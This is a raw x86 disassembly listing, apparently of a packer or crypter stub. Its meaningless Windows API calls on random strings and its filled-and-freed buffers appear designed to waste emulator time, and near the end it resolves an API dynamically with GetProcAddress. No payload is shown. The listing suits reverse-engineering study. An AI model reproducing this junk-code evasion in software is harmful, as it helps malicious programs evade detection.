lea edi, [ebp - 0x5d6e]
push 0x47f
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x5d70]
push ecx
push 0xc
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 6
lea edx, [ebp - 0x18]
push edx
push 0x100
push 0x52d7c0
call fcn.00401e80
add esp, 0x10
mov dword [ebp - 0x8c1c], 2
jmp 0x4041e0
mov ebx, 3
jmp 0x4041f0
push 0x426368
push 0x426364
push 0x42635c
push 0x426354
push 0xcf8b
push str.Ta__d_Eiphditoma__s_Urkxr__s_Vukuf__s_Vkuoh__s_Zyivo
lea eax, [ebp - 0x208]
push 0x17
mov ecx, 0xc
mov esi, str.Aeiezileaurubeedlechxan
lea edi, [ebp - 0x208]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040d97b
add esp, 0x20
dec ebx
jne 0x4041f0
dec dword [ebp - 0x8c1c]
jne 0x4041e0
push 0xdd59
mov byte [ebp - 0x644], 0
xor eax, eax
mov ecx, 0xd
lea edi, [ebp - 0x643]
rep stosd dword es:[edi], eax
push str.Morano
push str.Dgueaucau__s_Ann_Keva__d_Pakyaimm_Ug
lea ecx, [ebp - 0x644]
push 0x35
push ecx
stosb byte es:[edi], al
call fcn.0040db84
add esp, 0x14
mov ebx, 7
jmp 0x404280
push 0x42627c
mov ecx, 0xb
mov esi, str.Koaoqaseiisafuxuyaozou
lea edi, [ebp - 0x208]
rep movsd dword es:[edi], dword [esi]
push 0xa5d0
push 0xe978
push 0xd875
push str._d_Pw__d_A__d_Ze__s_Upouzanh
lea edx, [ebp - 0x208]
push 0x16
push edx
movsw word es:[edi], word [esi]
call fcn.0040d97b
add esp, 0x1c
dec ebx
jne 0x404280
xor eax, eax
mov word [ebp - 0x2494], 0
mov ecx, 0x8a
lea edi, [ebp - 0x2492]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x2494]
push eax
push 0x116
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x4224
push 0x4490
push 0x4261e0
mov ecx, 0x15
mov esi, str.Aaiekazaoivucomahuxuicceboeitamwjdaotoeajo
lea edi, [ebp - 0xc90]
rep movsd dword es:[edi], dword [esi]
push 0x60f8
push 0x3431
push str.Maehfo
push str._s_Eo_Yaa_Cocqyareu__d_Iesatet__d_Koce__s_Uiounucoi__d_Oa__d_Djoqvunwq
lea ecx, [ebp - 0xc90]
push 0x2a
push ecx
movsw word es:[edi], word [esi]
call fcn.0040d97b
mov ebx, dword [sym.imp.KERNEL32.dll_GetDateFormatW]
add esp, 0x24
push 0x1af
push str.Faeuvipeoocadrlebaeohajetgeaoovzjydioyerhubvoumigoeulacaseneoetkieniaitukiaoqiopioviqiqaqieoealifoaomebiflyeibtukiakeipoozwiaiauwieiuaenkoneatpiwjeomuaaaikezeokqireyuaotoaylepacocedirexaeueluixcimaaigeaqeseaqpamapegouoeolidpixeeheoecieuaudejllfcukbvojuunuexiceoeaieuuueihfeadognaskutaatfavouoaemfodpovztytaspuieihfheeedbauausoylaodyaekeeuuooaskiexomaliaigaaoreemtkmizrnoeavununukyvajuaoejzaqmobnoiecagilroabogaewheziaeseukaeeuhauifuwyepbuviezpoyezuaioovuduwvameuffyeeohzebhiinueoizwj
push 0
push 0
push 2
push 0x800
call ebx
push 0x5374
push 0xae63
push 0x84ac
mov byte [ebp - 0x7cc], 0
xor eax, eax
push 0x428ca0
mov ecx, 0x11
lea edi, [ebp - 0x7cb]
rep stosd dword es:[edi], eax
push 0x426138
push 0x6a10
push str._d_Xn__s_Zaoagiduuk__s_Xwraq__d_Kqjyuo_Lqhjk__d_Paeeeiwx__d_Ou_Uiicuuf
stosw word es:[edi], ax
lea edx, [ebp - 0x7cc]
push 0x47
push edx
stosb byte es:[edi], al
call fcn.0040db84
push 0xc
lea eax, [ebp - 0x30]
push eax
push 0x100
push 0x52d7c0
call fcn.00401e80
mov edx, dword [0x4260e4]
mov ecx, dword [str.Oaghtaaiuydob]
mov eax, dword [0x4260e8]
add esp, 0x34
push 0xb
push str.Kzhxquqakafeyepavopawemiteijterascrurawclowjdalafzfepewavuriqdulhodeajguroyluiluozdegiqamajndfxovolenibonoqerudavagkfqlileiooorraooitjzlnacuujfubjgudueaoeteoetvwihetsdexhuvteaioumaaoauweftoncimhiegintigsomipvsofyjyfouizigucseeruwfiiwuyidawavoaeqejueiwacnafzutovizataaofeyjadrayixuoumuavhevoohtobeiahoeayisuvaeixetaapwiqswdlotioldenoaeuaoolpdaxtyreoyeoawautvalelexinumiuueewakubejoiqbagooeieuieopixiiugozemyyacjzdborvbozazivsfeiyoseusueohukexuiaousxfaabuehamtyiqoiiesuetieajuneogeedapatiiaaajuadoqlooicbvajuiedoajiagutieqxareiuyeladkbelvnijoxaeasewgelouyuigluqggisusymdueuqoiuoiovemurbnwvibiuuwolcuajupoxdpaueiuhoxgaouopaondihurkmeoduiciszulfivirjsebecqbesiiswoeaeayepuqqyuwxflgijajwgoukeeseliiaeaunotniknaeneccophofatoioteudeagakaqirusiouluewlugukltalbsamubwaxxitfooxoviueseprttmarkiobatpieiocaialubnfiriotehaoxouc
push 0xe
mov dword [ebp - 0x188], edx
lea edx, [ebp - 0x18c]
push edx
mov dword [ebp - 0x18c], ecx
mov cx, word [0x4260ec]
push 1
push 0x800
mov dword [ebp - 0x184], eax
mov word [ebp - 0x180], cx
call dword [sym.imp.KERNEL32.dll_CompareStringA]
mov ecx, 0x11
mov esi, str.Nuuuyasaohcuhquxmogiaiqaiueztepfpvearddujovtiuoizvuzhugifouiiiaulomuo
lea edi, [ebp - 0x998]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x1656
push str.Nnazlohglw
push 0x426084
push 0x53f9
push str.Heoaqe
push 0x78d1
push str._d_Euikjui__s_K__d_Noi__s_Mieuio_Boiojamae__s_Icdoho_T__d_Faeorafi
lea eax, [ebp - 0x998]
push 0x45
push eax
call fcn.0040db84
xor ecx, ecx
mov dword [ebp - 0x1ff], ecx
mov dword [ebp - 0x1fb], ecx
mov dword [ebp - 0x1f7], ecx
mov dword [ebp - 0x1f3], ecx
mov dword [ebp - 0x1ef], ecx
mov dword [ebp - 0x1eb], ecx
push 0x426030
mov dword [ebp - 0x1e7], ecx
push str._s_Eaeivusooe
mov dword [ebp - 0x1e3], ecx
lea edx, [ebp - 0x200]
mov dword [ebp - 0x1df], ecx
push 0x25
push edx
mov byte [ebp - 0x200], 0
mov byte [ebp - 0x1db], cl
call fcn.0040db84
add esp, 0x34
mov esi, 2
lea esp, [esp]
xor eax, eax
push str.Yaiiso
mov byte [ebp - 0x23c], 0
mov ecx, 0x18
lea edi, [ebp - 0x23b]
rep stosd dword es:[edi], eax
push 0x426014
push 0x51ec
push str._d_Yxzi__s_Jtau_Yifohos__s_Ughldoy_Eai
stosw word es:[edi], ax
lea eax, [ebp - 0x23c]
push 0x62
push eax
call fcn.0040db84
add esp, 0x18
dec esi
jne 0x4044b0
push 0x230
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x40452d
mov edi, edx
mov ecx, 0x40
mov eax, 0x59595959
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x47
mov eax, 0xf5f5f5f5
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
mov edx, dword [0x425fe0]
mov ecx, dword [str.Hnevnetekawef]
mov eax, dword [0x425fe4]
push str.Zuncreo
push 0x6daa
push str._d_M_Bir__s_X
mov dword [ebp - 0x198], edx
mov dword [ebp - 0x19c], ecx
mov cx, word [0x425fe8]
lea edx, [ebp - 0x19c]
push 0xd
push edx
mov dword [ebp - 0x194], eax
mov word [ebp - 0x190], cx
call fcn.0040db84
add esp, 0x14
mov edi, 4
jmp 0x404590
mov esi, 3
jmp 0x4045a0
push 0x1dc
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
push 0
push 0
push 2
push 0x800
call ebx
dec esi
jne 0x4045a0
dec edi
jne 0x404590
mov ecx, 0x7a
mov esi, str.Klfeluureknuktnnresoiogokreifaguebtufoojvuagrxqasezfluyumiaaoiailoeyimhoyeotvorarvdasamvuaeaanbaqaeioijusdnayiruzukviicuvayubohuursilarueiqbwojeitiaratfaqlebzeumawwiunezyahyeozzxaiazjebeabewkiheoqsujaaidihgyeiiafqakaoiocpirfiouaktivravoaezipewvviqaiomedlogwugouaiajuoazibxuoheqrbhjoawollezsguzoshokdopoauqeweieeoqjutrebsoakokoioyoegvauestkueepuzayewzehpofuielotrmotiizouaiwlqvveuueakinerxsufooetuahvtcuchoukueauleileuuqocaeoqieexueoyaqeraeooexaerwjuecufwvofcewdequakxawaopjepwnvcoxqjiwaie
lea edi, [ebp - 0x3c0]
push 0x13e
rep movsd dword es:[edi], dword [esi]
push str.Jwoqcaoeakoiueimseidcobedueeeeeoipqiwcpzmepuuopupukiredelibesjjjnuyeelwakzoofujcxiqovdaumugefakuxuoacaxgquyidojmzahmoaquknpfcuguibgorioaqozibaaalfcxuioiaboajkeemuiapufutvowiiaapvnuoeeozixvdobivaejeouiepviyooemeeeuoxereviiajkouriepatuisviamabiielejsmlaiuoaajabebojisefpoaifieyuhqoudalalgjaepeubulooibaiauwfemaaqfiuuomzicjbefeepmxmanecujidavowuycuhtikuuooacokebigooeuuiumrtoboussuamaodiiutunutrunniziabzeyeouhueeuulazdoixaticeziyaiklumiiuwasriojiriiiuijeuepabueieojpuxwudzymguhternoweuoouzijaxaeivanefaucsomsnunapeioiebecinetxvuziffoahifujoxafkotmurwwejuxaxooonufejozeeepueiohsatomaxi
push 0
lea eax, [ebp - 0x3c0]
push eax
push 0
push 0x800
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
mov ecx, 0x1d
mov esi, str.Mtxuloqeaekoqiineukaouvowaezwoxiokyudusmruqsajeocczobicwoopozuayquqmhohikidbyuoicenopbssfamieajiwtouwobepsluvoebyujlua
lea edi, [ebp - 0x250]
rep movsd dword es:[edi], dword [esi]
push 0x425d58
push 0xc95f
push 0x9ec4
movsw word es:[edi], word [esi]
push str._d_Jo_Ixw_Dauaqo__d_Wuyiwoh_Rk_Liauhoxuu__s_Oeuubow
lea ecx, [ebp - 0x250]
push 0x76
push ecx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
mov edi, dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
add esp, 0x18
mov esi, 4
push 0x6c
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
call edi
dec esi
mov dword [0x6e99f4], eax
jne 0x404635
push 0x9f
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x4046bf
mov eax, 0x1a1a1a1a
mov edi, edx
mov ecx, 0x14
rep stosd dword es:[edi], eax
mov eax, 0x60606060
mov edi, edx
mov ecx, 0xd
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x24
mov eax, 0xfbfbfbfb
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x22
mov eax, 0x83838383
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xb
mov eax, 0xbabababa
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x1b
mov eax, 0x42424242
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push 0xd
lea edx, [ebp - 0x40]
push edx
push 0x100
push 0x52d7c0
call fcn.00401e80
add esp, 0x10
push 0xe
lea eax, [ebp - 0x41c]
push eax
push 0x10
push str.Auaogessoviowornguoqynvoubfapibiiolaeueodikuifvuaaufxusapohuyeiarahpirhiybtafidqyipauooulortxiqajeuqdugarulemgozgeloeoiuehoejelueltikofiaaheduqegfeqaokuiowaioaewayyofmukabeaupfyupiheeztaqonapeewpooeviooeinkemuoxequziheoqhuxemzeakuvenajaoipatiojqodraepoofiayepecehovxumcajpkakubnesnozikwhahiivmudeuzaaewbareciousoqeximiibguxedmmoaueuxamiiipvkecihagaxoaqmopiiuveuiexmazeeoganlpunuooemtotasazitisqiihoaalictvefeweidqufheznahiqppukbiikeuadgretfzdzovionpefohusubenimoucozeesayiieifolsiwkooualpqoaaiyiawaplzuaoguuicopaqxioovueyeidoadiby
push 1
mov ecx, 7
mov esi, str.Bdauzawabwqiu
lea edi, [ebp - 0x41c]
push 0x800
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0x5268
push 0x3a7
push 0x4976
push str.Dopazofkv
mov ecx, 0x1b
mov esi, str.Nomekieojbbaiuoiyioralcoxdhelehaecgowiaasipjtqrazoilf
lea edi, [ebp - 0x1094]
push str._s_Zae__d_S__d_R__d_M_Oieeeiqw
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x1094]
push 0x35
push ecx
mov dword [0x6e9a14], eax
call fcn.0040d97b
push 0x425bdc
push 0x74fe
push 0x425bd8
push str.Tsiez
push str.Jeuouats
push str._s_Hq__s_Yaaib__s_Ujdokalz__d_Muqfmerk_Hgxeje__s_Leea_N
lea edx, [ebp - 0xe88]
push 0x63
mov ecx, 0x19
mov esi, str.Wjgdveyobamosabrcoazubreyebaauposiievaejwuyoaiponayguidyesyobaarluciuuqozeqfniwouiyabuiqnubaunheagu
lea edi, [ebp - 0xe88]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.0040db84
push 0x568c
xor eax, eax
mov byte [ebp - 0x254], 0
push 0x425b88
mov ecx, 0x1e
lea edi, [ebp - 0x253]
rep stosd dword es:[edi], eax
push 0x5d6b
push str.Jakovop
stosw word es:[edi], ax
push str.Bbebdieuii
push str.Aauuiuzr__s_Jokiq__s_Sbti__d_D__s_W__d_Rhiowad
stosb byte es:[edi], al
lea eax, [ebp - 0x254]
push 0x7b
push eax
call fcn.0040db84
add esp, 0x5c
push str.Rcquvot
push 0x7343
push 0x2b2
push 0x2e87
push 0x425ae8
mov ecx, 0x13
mov esi, str.Daoohailoiwamuiiquljeasutxcqpafkawgiruzosiuaouxaupciqaseaezuzoniuozdeitizup
lea edi, [ebp - 0xa50]
push str._s_X_I__d_Oazzlobua__d_Zuooga__d_Z__s_Xiia_Apteput
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0xa50]
push 0x4b
push ecx
call fcn.0040db84
add esp, 0x20
push 0x84
push str.Hoeueuouiifiufcetocbaobeuoouaibfzunukoqpleqehipahoralavuvsaomlzhqivnkaqadfmaaoaleagejgpzvevprhkukiiyhapjcioeqaoqcepvfjcutoexdexolguomehubaceaareqraayetiafgulauwhiguiewokoeanorgaokahetebetebvuebkxixacveevuiijgouthiijayyeaueseaqfeajonmaxooowaaowhreffumsucxriligleagofivukebixohamgenoihaevhisoolgiitiowugeoneoriutxocfboaihupshukelumupiucoupucogirouqaaeuigxubxohzieuuamisaoawemqkayekubocoevtaueawdxbakaeahajacinukeeeeamiurkamezbcofuceuujniieijimabenqhixoyaeozekunqyioeyfvojkeouiyopaburuuatacoiaoakwyezeuuvxtitvuufazueinevazkcuvioejokaciiacueyiucuiivehaaqvuueeowuviawkawooafisocezucsobjuleahfevaiataleeyyuugvohehioazesxmmqurguoaeaeaorecalaworubeqafierkieoiaaizaakxuueohqudlaoxineyibibztaiuqaaocevuiuzeoqoiseujragizqvadidizqgepeiugomkzejueduiaakigagahsoauaeokkeixybqvoeametaruoaeokyioyuaezowemiebxeievubofuajoareoumalvumvofjupfumaaajerikaoayxuzpalaivmirpowwuqiotceieuikehjvnooaiboiueofenoxhaiuapuamnogmyrdafvvoleeekixavfaaiijidozamietdottldhevuegwoqooiaojrzozoxisduaamauzijopusexegksihkr
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
mov dword [0x6e9a34], eax
mov ebx, 2
jmp 0x404830
push 0xcfea
push 0x9b0d
push 0xa90d
mov ecx, 0x18
mov esi, str.Xueiganugeqeqxuihenqihzusmmjfehgdiaodbkwciqpugreuviujosucotoxbpuzuyweebarezunoxviijokepjbaxcxeguk
lea edi, [ebp - 0x23c]
rep movsd dword es:[edi], dword [esi]
push str.Epogqoiuea
push 0xb563
push 0x8eb9
push str.Mibubexa__d_Fwoz_Kuog__d_Sui_Yibfa__s_Ia_Zhooeadmd__d_Viiad__d_Ziiuwito__d_Oic_Vbxx
lea edx, [ebp - 0x23c]
push 0x61
push edx
movsw word es:[edi], word [esi]
call fcn.0040db84
add esp, 0x24
dec ebx
jne 0x404830
xor eax, eax
push 0x4259ec
mov dword [ebp - 0x167], eax
push str.Vxuieaz
mov dword [ebp - 0x163], eax
push str.Wqwiiuxrm
mov dword [ebp - 0x15f], eax
push 0xebc0
mov dword [ebp - 0x15b], eax
push str._d_Kguc__s_Veuac_Wwo__s_Feiwroy_X__s_Zgipfa_Q
mov dword [ebp - 0x157], eax
lea ecx, [ebp - 0x168]
mov word [ebp - 0x153], ax
push 0x17
push ecx
mov byte [ebp - 0x168], 0
mov byte [ebp - 0x151], al
call fcn.0040db84
push 0xd
lea edx, [ebp - 0x60]
push edx
push 0x100
push 0x52d7c0
call fcn.00401e80
push 0x4259a4
push 0xc55b
xor eax, eax
mov byte [ebp - 0xbe4], 0
mov ecx, 0x1f
lea edi, [ebp - 0xbe3]
push str.Tloupi__d_Jynx__s_Oyeqloh_Wiie
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xbe4]
push 0x7c
push eax
call fcn.0040db84
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
add esp, 0x40
mov esi, 3
lea esp, [esp]
call ebx
dec esi
mov dword [0x6e9a04], eax
jne 0x404930
push 0x3dd
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x404986
mov edi, edx
mov ecx, 0xc2
mov eax, 0xd2d2d2d2
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0xc8
mov eax, 0x2f2f2f2f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x5a
mov eax, 0xdededede
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
mov ecx, 0x1a
mov esi, str.Sdaayenwmugiciaonijiioxeuffiguwlbegiqnlybaidsiweqcee
lea edi, [ebp - 0x1100]
rep movsd dword es:[edi], dword [esi]
push str.Roaio
push 0x425900
push 0x4288b8
push str._s_Efi__s_Ruuauiugk__s_Hqme_Km
lea ecx, [ebp - 0x1100]
push 0x34
push ecx
movsw word es:[edi], word [esi]
call fcn.0040d97b
add esp, 0x18
push 0x139
xor eax, eax
lea edx, [ebp - 0x28d8]
push edx
push eax
push str.Faeuvipeoocadrlebaeohajetgeaoovzjydioyerhubvoumigoeulacaseneoetkieniaitukiaoqiopioviqiqaqieoealifoaomebiflyeibtukiakeipoozwiaiauwieiuaenkoneatpiwjeomuaaaikezeokqireyuaotoaylepacocedirexaeueluixcimaaigeaqeseaqpamapegouoeolidpixeeheoecieuaudejllfcukbvojuunuexiceoeaieuuueihfeadognaskutaatfavouoaemfodpovztytaspuieihfheeedbauausoylaodyaekeeuuooaskiexomaliaigaaoreemtkmizrnoeavununukyvajuaoejzaqmobnoiecagilroabogaewheziaeseukaeeuhauifuwyepbuviezpoyezuaioovuduwvameuffyeeohzebhiinueoizwj
push eax
mov word [ebp - 0x28d8], 0
mov ecx, 0x9c
lea edi, [ebp - 0x28d6]
push 0x800
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
push 0x6e1
mov dword [0x6e9a14], eax
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x404a52
mov eax, 0xb5b5b5b5
mov edi, edx
mov ecx, 0x7b
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x1a1
mov eax, 0xa6a6a6a6
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0xe9e9e9e9
mov edi, edx
mov ecx, 0x2c
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x132
mov eax, 0xd8d8d8d8
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
push 0xc
lea eax, [ebp - 0x24]
push eax
push 0x100
push 0x52d7c0
call fcn.00401e80
push 0x4257f0
mov ecx, 0x31
mov esi, str.Zycsciwaddoonqeifoneoavenooadagibinuqauamikeouwayairkokxaehiaijiuojyicoiahudtaqieajezmdohufueavamx
lea edi, [ebp - 0x2a0]
rep movsd dword es:[edi], dword [esi]
push str.Rieaoaot
push str.Fuoqbu
push 0xfd5c
push str._d_Qvviy_Koluzeva_Ifiuua__s_Yaiizaz__s_Iqiuz_Veimvagju__s_W_D
lea ecx, [ebp - 0x2a0]
push 0x62
push ecx
movsw word es:[edi], word [esi]
call fcn.0040d97b
push str.Xecas
push 0x4256dc
push 0x4256dc
push str.Luwkpizq__s_Jue__s_Tfkeeomol__s_Bcokfubeae_Peiipueoa
lea edx, [ebp - 0xfbc]
push 0x67
mov ecx, 0x1a
mov esi, str.Oooopihiuivaopaaquzceooowwibxesooacowsianicihoiouixogojiiimitvuesuguamxiiaoibaznoofamqogcaxaeqhaioabgir
lea edi, [ebp - 0xfbc]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.0040db84
add esp, 0x44
push str.Nykiqa
push 0xa42
push str._d_Bivvuamue__s_Uu
lea eax, [ebp - 0x200]
push 0x13
mov ecx, 0xa
mov esi, str.Sagayemjeuhiloeggaa
lea edi, [ebp - 0x200]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040d97b
mov byte [ebp - 0x67c], 0
xor eax, eax
mov ecx, 0xd
lea edi, [ebp - 0x67b]
rep stosd dword es:[edi], eax
push 0xa5e9
push str.Q__d_Ooru
lea ecx, [ebp - 0x67c]
push 0x36
push ecx
stosw word es:[edi], ax
call fcn.0040db84
add esp, 0x24
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, 6
push 0x277
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x404b70
mov eax, 0x25252525
mov edi, edx
mov ecx, 0x53
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x404b46
push 0xd
lea edx, [ebp - 0x80]
push edx
push 0x100
push 0x52d7c0
call fcn.00401e80
push 0x737
call fcn.0040db03
mov edx, eax
add esp, 0x14
test edx, edx
je 0x404be3
mov eax, 0x6e6e6e6e
mov edi, edx
mov ecx, 0x25
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x118
mov eax, 0x5050505
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x64
mov eax, 0x82828282
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0xe
mov eax, 0x1c1c1c1c
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
push 0x5bf8
push 0xb8e2
push 0xf4cb
mov ecx, 0x1f
mov esi, str.Gybivahaiileluuedonaeonikeumfezcognuuuegqisaqozomcaacuohujmalaeopixuujxezgefhuyhilhikptuaiduaodipaicvavidtvaeeoooevafeiibaam
lea edi, [ebp - 0x13c0]
rep movsd dword es:[edi], dword [esi]
push 0xf2fb
push str.Daiemew
push 0x4255a8
push str.Oeuqbobn__s_Ruuuuux__s_Iagudae__d_Wouvuo__d_Jifr__d_Louu__d_Leedvuku_Hepopakjuu
lea eax, [ebp - 0x13c0]
push 0x7c
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
push 0x425470
push 0xc77
push 0x5a35
push 0x96cd
push 0xb49f
push 0x425468
mov ecx, 0x38
mov esi, str.Dzahuavwdpfowbuejozeoeueeiheeellyehaqesuqirijiyuhziejauzaazaleaiwoyheawarizthafaiunagveaxajgoueoegeulijebazodri
lea edi, [ebp - 0x1bf4]
push str.Naeruo__s_Zboi__d_Boieqo_Kfnoyid__d_Sxoil__d_Wioeeeeeo__d_Zuaulay__s_Xwii
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x1bf4]
push 0x6f
push ecx
call fcn.0040d97b
add esp, 0x48
push 0x5d8
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x404cb8
mov edi, edx
mov ecx, 0xd2
mov eax, 0xcdcdcdcd
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x78787878
mov edi, edx
mov ecx, 0x4e
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0x140
mov eax, 0x40404040
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push str.Zdquq
push 0x2b4
push 0x4253c4
push str.Tfckvavoox
xor edx, edx
push str._s_Bo__s_Gzeaou_Diim__d_Ioyghe_J__s_Uqctxao_Rfvi
mov dword [ebp - 0x13b], edx
lea eax, [ebp - 0x13c]
mov dword [ebp - 0x137], edx
push 0xa
push eax
mov byte [ebp - 0x13c], 0
mov word [ebp - 0x133], dx
call fcn.0040db84
add esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, 9
lea esp, [esp]
push 0x515
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x404d3a
mov eax, 0xc2c2c2c2
mov edi, edx
mov ecx, 0x29
push edx
rep stosd dword es:[edi], eax
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x404d10
push 4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x13
lea ecx, [ebp - 0xf0]
push ecx
push 0x100
push 0x52d7c0
call fcn.00401e80
push str.Seumoa
push str._s_Godzdoauzi_Gffacu
lea edx, [ebp - 0x400]
push 0x1b
mov ecx, 7
mov esi, str.Troerobueppivjiomayaogqiiua
lea edi, [ebp - 0x400]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.0040db84
xor eax, eax
mov word [ebp - 0x7e68], 0
mov ecx, 0x380
lea edi, [ebp - 0x7e66]
rep stosd dword es:[edi], eax
add esp, 0x20
push 0x702
stosw word es:[edi], ax
lea eax, [ebp - 0x7e68]
push eax
push 0xc
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea ecx, [ebp - 0x90]
push ecx
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [0x6e99a8], eax
xor eax, eax
mov byte [ebp - 0x19e0], 0
mov ecx, 0x4d
lea edi, [ebp - 0x19df]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x19e0]
push eax
push 0x137
call ebx
push 0xc
push str.Vuauxenularuxiedvotomanavqcgsujaokhibyvilumaoexuypheaitfeameygiaxiaeiicotikzbiqtngviawltbiheeajoxlhaeekgevbaseoetoavowcimqcjpiuwezpevlruvexuujjeaarxkicaeoieaotigoxyuueakatewucruobahomveoxkyaeuopctsuwuiusibelidoimvfmoeglqwurfirnimeobboiupywiioaqmotonqiuamqohatueakewuaiyaaextyewvejkeohapperxyabiaaaddevuamxoueeukipacohoqcosvizihbqurumoriikbssixtoijayveiaipioiauliwyxojjaadeiasacoewidworoiaperyoftoreiapejobwmusueuwudifejiheeizuyouulaqugabosorcsuzeiojugsbuconouozufiaoxuhcyskuviivnoxuooxiayaefuwbpoveyiocgiuuecfabiieiiktgwcukgukduepdsgoaxspvertiiluuueuoaerejfoouloxapnurwubzloponahifuitaigeqvhisisoougivulljatiaoeawabbeizaivninpsevehudedebzqrkotaaytaekeakuiutowouaaaaiozoidocyebjadqezkorifixuxhijsizohijoejuioidjltjeeeaa
push 0x11
